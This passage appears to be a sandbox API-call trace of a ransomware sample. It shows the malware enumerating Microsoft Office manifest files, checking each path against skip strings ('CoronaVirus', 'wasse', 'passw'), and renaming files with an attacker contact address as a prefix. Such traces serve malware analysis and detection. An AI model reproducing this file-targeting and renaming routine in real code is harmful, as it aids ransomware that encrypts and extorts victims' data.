	[0108.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0108.525] SetThreadPriority (hThread=0x127c, nPriority=15) returned 1
	[0108.534] malloc (_Size=0x1000) returned 0x51fc0d0
	[0108.534] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml") returned 89
	[0108.537] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.537] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.537] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.537] SetThreadPriority (hThread=0x1284, nPriority=15) returned 1
	[0108.540] malloc (_Size=0x1000) returned 0x52010f8
	[0108.540] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned 97
	[0108.540] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.540] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0108.540] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0108.607] SetThreadPriority (hThread=0x324, nPriority=15) returned 1
	[0108.635] malloc (_Size=0x1000) returned 0x52000f0
	[0108.635] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml") returned 87
	[0108.635] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.635] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.635] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.636] SetThreadPriority (hThread=0x1274, nPriority=15) returned 1
	[0108.638] malloc (_Size=0x1000) returned 0x51fd0d8
	[0108.638] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml") returned 91
	[0108.638] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.638] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.638] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.701] SetThreadPriority (hThread=0x34c, nPriority=15) returned 1
	[0108.704] malloc (_Size=0x1000) returned 0x51fb0c8
	[0108.704] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml") returned 91
	[0108.704] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.704] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0108.704] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0108.757] SetThreadPriority (hThread=0x354, nPriority=15) returned 1
	[0108.760] malloc (_Size=0x1000) returned 0x51fe0e0
	[0108.760] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml") returned 89
	[0108.760] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.760] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.760] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.760] SetThreadPriority (hThread=0x328, nPriority=15) returned 1
	[0108.762] malloc (_Size=0x1000) returned 0x51fc0d0
	[0108.762] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml") returned 92
	[0108.762] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.762] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.762] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.763] SetThreadPriority (hThread=0x35c, nPriority=15) returned 1
	[0108.766] malloc (_Size=0x1000) returned 0x52000f0
	[0108.766] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned 103
	[0108.766] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.766] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0108.766] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0108.766] SetThreadPriority (hThread=0x1280, nPriority=15) returned 1
	[0108.769] malloc (_Size=0x1000) returned 0x52010f8
	[0108.769] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml") returned 90
	[0108.769] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.769] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0108.769] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0108.769] SetThreadPriority (hThread=0x1290, nPriority=15) returned 1
	[0108.772] malloc (_Size=0x1000) returned 0x51fa0c0
	[0108.772] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned 95
	[0108.772] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0108.772] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.100] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.102] SetThreadPriority (hThread=0x360, nPriority=15) returned 1
	[0109.151] malloc (_Size=0x1000) returned 0x51fc0d0
	[0109.151] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml") returned 86
	[0109.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.151] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.151] SetThreadPriority (hThread=0x11b0, nPriority=15) returned 1
	[0109.154] malloc (_Size=0x1000) returned 0x52000f0
	[0109.154] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned 99
	[0109.154] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.157] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.157] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.160] SetThreadPriority (hThread=0x128c, nPriority=15) returned 1
	[0109.171] malloc (_Size=0x1000) returned 0x52000f0
	[0109.171] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned 88
	[0109.171] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.171] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.171] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.171] SetThreadPriority (hThread=0x264, nPriority=15) returned 1
	[0109.174] malloc (_Size=0x1000) returned 0x51fa0c0
	[0109.177] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned 103
	[0109.177] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.177] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.177] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.180] SetThreadPriority (hThread=0x32c, nPriority=15) returned 1
	[0109.185] malloc (_Size=0x1000) returned 0x51fc0d0
	[0109.185] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml") returned 90
	[0109.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.185] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.207] SetThreadPriority (hThread=0x1298, nPriority=15) returned 1
	[0109.210] malloc (_Size=0x1000) returned 0x5205118
	[0109.210] _swprintf (in: param_1=0x5205118, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned 109
	[0109.210] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.216] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.216] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.318] SetThreadPriority (hThread=0x1288, nPriority=15) returned 1
	[0109.321] malloc (_Size=0x1000) returned 0x51fa0c0
	[0109.321] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned 109
	[0109.327] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.327] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.327] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.485] SetThreadPriority (hThread=0x358, nPriority=15) returned 1
	[0109.488] malloc (_Size=0x1000) returned 0x52010f8
	[0109.488] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml") returned 93
	[0109.494] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.494] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.494] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.501] SetThreadPriority (hThread=0x12a0, nPriority=15) returned 1
	[0109.515] malloc (_Size=0x1000) returned 0x51fb0c8
	[0109.515] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned 103
	[0109.521] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.522] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.522] SetThreadPriority (hThread=0x12a4, nPriority=15) returned 1
	[0109.525] malloc (_Size=0x1000) returned 0x52000f0
	[0109.525] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml") returned 90
	[0109.525] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.525] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.532] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.606] SetThreadPriority (hThread=0x340, nPriority=15) returned 1
	[0109.609] malloc (_Size=0x1000) returned 0x51fa0c0
	[0109.609] _swprintf (in: param_1=0x51fa0c0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml") returned 93
	[0109.609] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.615] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.615] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.618] SetThreadPriority (hThread=0x1294, nPriority=15) returned 1
	[0109.633] malloc (_Size=0x1000) returned 0x52000f0
	[0109.633] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml") returned 93
	[0109.633] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.634] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", _SubStr="wasse") returned 0x0
	[0109.634] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", _SubStr="passw") returned 0x0
	[0109.634] SetThreadPriority (hThread=0x12a8, nPriority=15) returned 1
	[0109.644] malloc (_Size=0x1000) returned 0x51fe0e0
	[0109.646] _swprintf (in: param_1=0x51fe0e0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned 93
	[0109.646] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.646] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", _SubStr="wasse") returned 0x0
	[0109.646] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", _SubStr="passw") returned 0x0
	[0109.647] SetThreadPriority (hThread=0x268, nPriority=15) returned 1
	[0109.656] malloc (_Size=0x1000) returned 0x51fb0c8
	[0109.656] _swprintf (in: param_1=0x51fb0c8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml") returned 88
	[0109.656] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.656] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.656] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.657] SetThreadPriority (hThread=0x12b0, nPriority=15) returned 1
	[0109.659] malloc (_Size=0x1000) returned 0x51fc0d0
	[0109.661] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned 107
	[0109.661] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.661] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.661] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.735] SetThreadPriority (hThread=0x12b4, nPriority=15) returned 1
	[0109.738] malloc (_Size=0x1000) returned 0x52010f8
	[0109.738] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml") returned 92
	[0109.738] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.738] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0109.744] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0109.904] SetThreadPriority (hThread=0x129c, nPriority=15) returned 1
	[0109.906] malloc (_Size=0x1000) returned 0x51fd0d8
	[0109.911] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned 101
	[0109.911] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.911] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.911] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.958] SetThreadPriority (hThread=0x12b8, nPriority=15) returned 1
	[0109.961] malloc (_Size=0x1000) returned 0x51fc0d0
	[0109.961] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned 99
	[0109.961] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0109.961] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0109.961] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0109.975] SetThreadPriority (hThread=0x12c0, nPriority=15) returned 1
	[0110.188] malloc (_Size=0x1000) returned 0x52010f8
	[0110.188] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml") returned 88
	[0110.188] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0110.188] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0110.188] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0110.189] SetThreadPriority (hThread=0x12ac, nPriority=15) returned 1
	[0110.192] malloc (_Size=0x1000) returned 0x51fc0d0
	[0110.192] _swprintf (in: param_1=0x51fc0d0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned 97
	[0110.198] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0110.198] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0110.198] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0110.205] SetThreadPriority (hThread=0x12c8, nPriority=15) returned 1
	[0110.452] malloc (_Size=0x1000) returned 0x52000f0
	[0110.452] _swprintf (in: param_1=0x52000f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml") returned 87
	[0110.452] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0110.452] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0110.453] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0110.453] SetThreadPriority (hThread=0x12c4, nPriority=15) returned 1
	[0110.456] malloc (_Size=0x1000) returned 0x52010f8
	[0110.462] _swprintf (in: param_1=0x52010f8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned 130
	[0110.462] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _SubStr="CoronaVirus") returned 0x0
	[0110.462] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _SubStr="wasse") returned 0x0
	[0110.462] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _SubStr="passw") returned 0x0
	[0110.529] SetThreadPriority (hThread=0x12bc, nPriority=15) returned 1
	[0110.554] malloc (_Size=0x1000) returned 0x51fd0d8
	[0110.554] _swprintf (in: param_1=0x51fd0d8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml") returned 118
	[0110.554] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml", _SubStr="CoronaVirus") returned 0x0
	[0110.554] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml", _SubStr="wasse") returned 0x0
	[0110.554] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml", _SubStr="passw") returned 0x0
	[0110.555] SetThreadPriority (hThread=0x12cc, nPriority=15) 

Thread:
	id = 75
	os_tid = 0x258

	[0079.584] _alloca_probe () returned 0x40328a
	[0079.584] GetCurrentThreadId () returned 0x258
	[0079.584] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", dwFileAttributes=0x80) returned 1
